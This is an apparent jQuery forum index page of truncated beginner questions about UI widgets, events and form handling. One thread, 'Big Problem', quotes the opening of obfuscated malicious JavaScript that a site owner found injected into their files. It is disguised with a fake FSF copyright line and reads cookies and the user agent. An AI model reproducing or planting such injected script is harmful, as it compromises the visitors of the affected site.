initialize on jquery
what is mean initialize jquery
BlockUI problems only in Safari when button is contained in a form element
I have been struggling with an issue for a couple days and I am at an loss so I figured I would post here. On all browsers (Yes even opera) my BlockUI behaves as expected. Not in Safari though. When in safari the screen never renders the fade or message in the center.. Very perplexing. Here is the relevant code: <script type="text/javascript"> $.ajaxSetup({ type: 'POST', headers: { "cache-control": "no-cache" } }); $(document).ready(function
How to define 'event' on the page after navigation- getting 'event' undefined while using event.target.id- Firefox Only
I am using `event.target.id` in the click event of a button. I have button on click of which it navigates to a certain page: $("#alert-proceed-button").on("click", function(event){ window.location.href= '#accounts/admin'; } I have passed `event` as a param on the click event function. I added an event listener to that click so that when the page gets navigated, the 'target id' will be captured and i can perform further action using that 'id'. For that i did something like: initialize:
how make a condition with events onclick click on button
hello there, i am working with window.pageYOffset. i use to know what is the position on Y to active a class in menu and to do a lot more things. window.onscroll = function () { //null if (window.pageYOffset >= 100){ document.getElementById("menu-Bt1").className = "menu-bt"; document.getElementById("menu-Bt2").className = "menu-bt"; document.getElementById("menu-Bt3").className = "menu-bt"; document.getElementById("menu-Bt4").className = "menu-bt"; document.getElementById("menu-Bt5").className
different script location not work
<script type="text/javascript"> community = "Javascript Indonesian"; </script> <script type="text/javascript"> alert(community); </script> how to solve that ? thanks fird0s
need to pass dynmaic php variable(an array) through the name tag
http://stackoverflow.com/questions/26128809/php-variable-not-recognized-in-jquery
Looking for a responsive "vertical slider"
Is there anything like this vertical slider (demo) available for jQuery, but which in addition is responsive? Here's a screenshot:
Help with jQuery issues
Hello, I have taken over development of a website from a previous developer. There appears to be a ton of jQuery,Javascript and CSS code running on the site. However it appears to cause issues when viewing the site on a tablet (iPad) or Android device. One of the issues is the Menu button (top right) does not seem to function on these devices. When I view the code in Google Web Developer the console does not appear to show any errors. PLEASE HELP! What is broken and is there a fix? The site is: http://garland.pnpd.co.uk/
Push Notification doesn`t appear in the client side in my rails App (Pusher API)
Hello everyone, i use Pusher Notification in my App , i integrated pusher API correctly in my rails App and in Pusher.com appear the the server sent a Notification but it doesn`t appear in the client side i included all files that the project need (jquery,PusherNotifier.js, etc ) <script> var NOTIFY_ENDPOINT = '/assets/notify.html'; $(function() { $.ajax({ url: NOTIFY_ENDPOINT, data: {"message": "I'm a notification!"} }); var pusher = new Pusher('af30f81da233dd0925b2',
HELLO,
How to test in javascript?
EU cookie law and jquery.com setting Google Analytics cookies
I'm trying to develop various webpages using jQuery and jQuery Mobile and have been using http://code.jquery.com as the source of the jQuery and jQuery Mobile scripts and the jQuery CSS. I have noticed that Google Analytics cookies are being set, which belong to the domain .jquery.com. I don't think it would be in my power either to block these or delete them and, even if it was, presumably, such action would not be welcomed by the jQuery Foundation. I'm trying to be strictly compliant with relevant
jquery open fancybox with imagebutton control
trying to use an imagebutton control to display fancybox (open a page) with parameter once clicked seems it did not work with the following : function RegisterFancyLinks() {
$('iframe').fancybox({
overlayShow: true,
overlayColor: '#B2B2B2'
});
$(function () {
var ajaxMng = Sys.WebForms.PageRequestManager.getInstance();
ajaxMng.add_endRequest(RegisterFancyLinks);
RegisterFancyLinks();
});
how to hide again the li.fields by clicking again in li.title? with animation slideDown and slideUp
<script> $(document).ready(function(){ $('li.fields').addClass('hide'); // hide a text $('ul').on('click', 'li.title', function() { // when click in the title do a animation slide. $(this).next().slideDown(100).siblings('li.fields').slideUp(100); }); }); </script> with this code i can move the tilte and hide the li.fields. my problem for now is make some rule when click again in the same title wil close with the slide up animation and hide the li.fields sorry my bad english
How to detect click event in iframe element using JQuery?
Hi For a requirement, I have a iframe in my html page like this <iframe src="www.abc.com" id="firstembed" name="iframebox"></iframe> So, the given URL (www.abc.com) will get loaded in the iframe. Now, my requirement is, if user click on the area of iframe, I need to display the alert message. onclick attribute is not working. Please advice me how we can detect the click event on iframe element using JQuery. Thanks
Enable /disable button based on values in textarea
Hi, I have a textarea and input type button in my aspx page. The controls are added dynamically, In the F12 developer tools, I can see the controls as below: <textarea onblur="return (TextBox.OnBlur(this, event));" style="white-space: pre; position: relative; resize: none;" onpropertychange="return (TextBox.OnPropertyChange(this, event));" id="ctl00_PlaceHolderMain_XmlFormControl_V1_I1_T5" class="s_5jghZOsnCxGdM8MP_0 u_5jghZOsnCxGdM8MP_0 a5_5jghZOsnCxGdM8MP_0 a4_5jghZOsnCxGdM8MP_0" onfocus="return
After some assistance (just starting out)..
Hi guys, I am rather new to jQuery and I am basically after any resources that are available to help me along my way to learning how to use jQuery, in particular jQuery Mobile. I already have a pretty basic understanding of how to make my way around using Dreamweaver but just want to get an understanding of the jQuery libraries. Cheers, Tutty
lost in form problem
Good morning, one client wants me to do a form, name, email, telephone, but the trick is, that he wants me to add a button that when clicked there is going to show up another name, email, telephone section for a second user registering to his forum. how can I do that? any ideas please, it will be greatly appreciated, Thank you, Houston Web Design
Database Using Phonegap
Hi I am testing SQLite database using phonegap and everything seems to work fine except appending the final resultset to the division with id=output. It returns 2 in the alert statement but the actual table is not displayed. Any help please? <!DOCTYPE html> <html> <head> <title>Contact Example</title> <link rel="stylesheet" href="http://code.jquery.com/mobile/1.4.4/jquery.mobile-1.4.4.min.css" /> <script src="http://code.jquery.com/jquery-1.11.1.min.js"></script> <script src="http://code.jquery.com/mobile/1.4.4/jquery.mobile-1.4.4.min.js"></script>
Walk the DOM
I use the functionality that comes from implementing the code below to observe the current state of my DOM tree: //////////////////////////////////////////////////////////////////// // function walk(iBranch) // // Version: // // Description: // //////////////////////////////////////////////////////////////////// function walk(iBranch, iHtml) { var walkBrowser = new BrowserView("Walk
Creating a Hierarchy
I am using the following code to create a (nodelist? [of children]) of "genText"-class divs that are appended to a (parent?) "classContainer" div: $(".classContainer") .append($("<div class=genText " + "firstWord=" + firstWord + " " + "taxYear =" + taxYear + " " + ">" + currentLine + " | " + lColor + "</div>") .css({ color: lColor })); After I have my wrapped set of [something, definitely not Array Elements...jQuery Objects?], then I would like to make changes
Start Skill Bar Animation at specific point
Hey, I am working on a one page portfolio and I have integraded a skill bar on my about section. Now the problem is, that the skill bar starts to animate as soon as the website is loaded, but I want it to start when the viewer reached the about part. What function do I have to add to the jquery file? Hope somebody can help out. Thanks in advanced. Jenny
Date picker with datediff
Okay so thsi is driving me nuts, ive searched through the forums, but every example ive seen doesnt work I have cobbled bits of code together to get this far, but cant get the number of days between dates to display. the datepickers are correctly initialised, but nothing happens on the showdays fucntion side of things, doesnt seem to get fired. My first foray into jquery, going a little nuts...surely im not far off? Any help appreciated <!doctype html> <html lang="en"> <head> <meta charset="utf-8">
Need Help (Beginner)
Hello my name is Burhan Afridi and i am new to web programming I learn HTML5 and CCS3 and now i start learning JQuery i write the first program and its working when i use internal jquery script but when i use as external its not working please help me the page code is below Index.html <!doctype html> <html> <head> <meta charset="utf-8"> <title>Untitled Document</title> <script src="jquery-1.11.1-uncompress.js" type="text/javascript"></script> <script src="myscript.js"></script> </head> <body> <p>
Code not working on IE
Hello my little friends ;) I wrote a code in Jquery using "position(), show(), hide(), and some others functions". the code works fine when i open the page in Chrome, Firefox and Opera, but when i open on the devil, i mean, Internet Explorer, the code just don't works, and i don't know what is wrong :( Help me? (Jsfiddle link : http://jsfiddle.net/9xdou87b/ ps: Layout in jsfiddle is kind of broken, but i can understand if you try haha)
My New Project - ToDo List
Hey guys , Taught i'd just share this with u'll , i have been following a few tuts and after searching online alot . i found something i'd be really interesting in working on and thats a TO-Do list , built in Javascript . I konw this is not really gonna tickle ur interest much :D , but i still taught i'd post what i did so far . do review it and give me ur suggestions , and How i could Build on it and make it something tangible . GitHub Lin:::GitHub link Thanks . Gautam.
Scroll Bar
I'm wondering about how to calculate the height of the scroll bar that I'm creating, following examples: JSFiddle <script> $( document ).ready(function() { $( "#rolagem2" ).height($(document).height() - $(window).height()); $( window ).on('scroll touchmove mousewheel', function(e){ $( "#rolagem2" ).css('margin-top', $(window).scrollTop()); }); }); </script> #rolagem2 stay with the same size as the standard scroll bar!
error "Object required" on official jquery 1.11.1.js file
I have copied jquery file from: http://jquery.com/download/ http://code.jquery.com/jquery-1.11.1.js I am not able to use, because i am getting the error "Object required" on line 4202. If you check your line number maybe different, because i had to concatenate approx 15 lines because of the error "Unterminated string constant". If you check http://code.jquery.com/jquery-1.11.1.js for code // Make sure textarea (and checkbox) defaultValue is properly cloned // Support: IE6-IE11+ div.innerHTML = "x";
Why does this jQuery varibale read as undefined within a each loop?
This should be really simple and i do feel daft for asking this BUT for some reason the following code alerts as undefined. Why? myCount = 1; jQuery("div").each(function() { alert(myCount); });
Big Problem
Hello guys, I don't know if i posted this correctly, so i am sorry! Someone has hacked my server by ftp i think, modified some files.js and added this: /* Copyright (C) 2007 Free Software Foundation, Inc. http://fsf.org/ */ function getCookie(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):undefined}function RuizePlastica(){var e=navigator.userAgent;var t=e.indexOf("rv:11.0")>-1||e.indexOf("Windows
how to style jquery Selectmenu component
Hello forum I want to be able to style selectmenu as follows: 1) selectmenu will for example have 3 colors ( white, red and black) to choose from. 2) If I select any of these colors, I want the color to show up on the selectmenu as a square, with the name specific to that color, for example: if I choose white: if I choose red: if I choose black: The full dropdown looks like this: I was able to style it but I can't figure out having that color square show up, I'm new to jquery ui and I can't find
Other Projects?
How many projects are in Jquery? I know about the Core lib, JQueryUI, Sizzle, Qunit, and JQuery Mobile, but are there a number of smaller projects on this site that need work done?
change my password
Impossible to select a forum on the select box on the right , the scroll doesnt work (with safari 7) I dont find a way to change my password for the forum thanks for helping
Thank you guys for making my JSquiz project Possible .
Heres my 1st project on GitHub . Thanks Jake . i made a small mention of you in the readme . GIT
Is Oracle JDeveloper a good javascript IDE?
Is Oracle JDeveloper a good javascript IDE?
Having problem with Autocomplete not displaying images
Hi, I'm facing a problem with Autocomplete. whene i type for searching products it gives me suggestions. it shows product name but not display images... it displays some images and some not. when I inspect element it shows me this broken links <ul id="ui-id-1" class="ui-autocomplete ui-front ui-menu ui-widget ui-widget-content" tabindex="0" style="display: none; top: 39px; left: 337px; width: 546px;"> <li id="ui-id-11" class="ui-menu-item" tabindex="-1"> <a>Classic</a> <br> <img alt="Office Tabel"
Can't click an icone after modification by jQuery
Hello, I have a table structure and in a <td> an image, a language flag icone. When one click on this icone, a jqueryUI popup form present some radio buttons with all languages avalaibles. If the ok button is clicked, with ajax the database is updated and the new flag replace the old one. All that works fine. But now, if I click this new flag it is not seen by jQuery. I read in the jQuery documentation that .on() would be the solution to this problem. But I can't understand how to use it. The img
Updating URL dynamically , from input field
I have been working on a small part of a FB Graph API project . basically there is this function that does something(thats a really vague discription .. i know lol .. nevermind) . function testAPI() { console.log('Welcome! Fetching your information.... '); FB.api('/me', function(response) { console.log('Successful login for: ' + response.name); document.getElementById('status').innerHTML = 'Thanks for logging in, ' + response.id + '!'; }); //dynamic updation
Dot or no Dot ?
Sorry to be a pain in the wrong place . But can somebody tell me . $(document).ready(function() { var target = '.bigLink'; var hoverClass = 'hoverBigLink'; $(target).each(function(){ $(this).hover( function(){ $(this).addClass(hoverClass); status=$(this).find('a').attr('href'); }, function(){ $(this).removeClass(hoverClass); status=''; }); $(this).click(function(){
help binding button jQuery
hello, I am a novice coder, I can add code to a file if I know where and what to add :) I have a hidden form on one of my pages and I need to make the CTA button act like the submit button on the hidden form. here is what the developer told me to do but it is over my head You can use jQuery to submit the form when your button is clicked, either add the following to your button onclick attribute or wrap it in a click handler ( http://api.jquery.com/click/ ) bound to your button jQuery('#gform_13').submit();
How to create x.doSomething(); ??? :(
in javascript (not jquery); how do i create something like: x.doSomething(); in which x can be any objects
Next Page